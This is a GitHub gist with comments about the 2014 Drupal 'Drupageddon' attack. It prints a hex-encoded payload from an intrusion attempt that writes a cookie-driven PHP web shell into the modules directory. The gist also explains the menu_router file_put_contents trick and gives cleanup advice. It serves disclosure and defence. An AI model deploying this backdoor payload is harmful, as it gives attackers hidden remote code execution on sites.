Skip to content

Instantly share code, notes, and snippets.

@joshkoenig
Last active August 29, 2015 14:07
Show Gist options
  • Save joshkoenig/f5485f3db8efdd98f184 to your computer and use it in GitHub Desktop.
Save joshkoenig/f5485f3db8efdd98f184 to your computer and use it in GitHub Desktop.
Remote code execution attempt: will insert this binary data into the menu_router table: #drupalsa05

0x613a323a7b693a303b733a32333a226d6f64756c65732f7379736c6f672f727068622e706870223b693a313b733a3134373a223c3f7068702024666f726d313d40245f434f4f4b49455b224b63716633225d3b206966202824666f726d31297b20246f70743d24666f726d312840245f434f4f4b49455b224b63716632225d293b202461753d24666f726d312840245f434f4f4b49455b224b63716631225d293b20246f707428222f3239322f65222c2461752c323932293b207d20706870696e666f28293b223b7d

This attack will add file_put_contents() as the access_callback in your menu_router table.

Subsequently, that path is used attempt to drop more exploit code.

Look in menu router for file_put_contents and remove it if found.

@joshkoenig
Copy link
Author

Looks like this is trying to drop different files depending on how it's constructed. You should see if there's a modules/trigger/eygo.php file in your codebase.

@joshkoenig
Copy link
Author

Also, update your site! :)

@baldwinlouie
Copy link

There was a file in the codebase. I found the file when I tried to git pull my Drupal update and git complained of this file. Sites updated. Scary one though!

@tamerzg
Copy link

tamerzg commented Oct 18, 2014

It seems that the file has random name and randomly gets inserted in one of the modules subdirectory, as i seen in in different directories on couple of my sites.
More info on how to find it and delete it: http://www.zoubi.me/blog/drupageddon-updating-drupal-732-not-enough-your-site-may-already-be-hacked

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment